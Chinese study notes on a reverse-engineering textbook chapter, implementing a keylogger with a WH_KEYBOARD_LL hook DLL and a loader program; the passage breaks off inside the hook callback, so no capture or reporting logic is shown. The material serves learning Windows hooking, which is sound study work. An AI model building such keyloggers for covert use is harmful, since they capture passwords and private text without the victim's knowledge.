逆向工程核心原理 Chapter22 | 恶意键盘记录器

教程这一章没给具体的实现,这里在Chapter21学习的基础上,试着实现一个键盘记录器。

键盘记录器实现

这里有个技术问题:记录下的敲击键(在KeyHook.dll中捕获的)(可以用wParam)怎么打印出来(在HookMain.exe中)?

第一种:记录在本地文件。这种实现比较简单。

第二种:与HookMain.exe通信。这种可以学到更多Windows编程知识。

这里实现第二种:

通信实现键盘记录

HookMain.cpp:

#include<iostream>
#include<Windows.h>

#define LOAD_DLL "KeyHook.dll"
typedef void(*func)(); // 函数指针
signed main() {
   
   
	HMODULE hDll = NULL;
	func HookStart = NULL;
	func HookStop = NULL;
	char ch = 0;

	hDll = LoadLibraryA(LOAD_DLL);
	HookStart = (func)GetProcAddress(hDll, "HookStart");
	HookStop = (func)GetProcAddress(hDll, "HookStop");
	HookStart();
	HookStop();
	FreeLibrary(hDll);
	return 0;
}

KeyHook.cpp

要注意使用WH_KEYBOARD_LL

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<windows.h>
#include<stdio.h>
#include<iostream>
#include<conio.h>
using namespace std;

HINSTANCE hInstance = NULL;
HHOOK hHook = NULL;
HWND hWnd = NULL;

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
   
   
	switch (ul_reason_for_call)
	{
   
   
	case DLL_PROCESS_ATTACH: // 进程创建时调用
		hInstance = hModule;
		break;
	case DLL_PROCESS_DETACH: // 进程结束时调用
		break;
	}
	return TRUE;
}

LRESULT CALLBACK keyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
   
   
	KBDLLHOOKSTRUCT* ks = (KBDLLHOOKSTRUCT*)lParam
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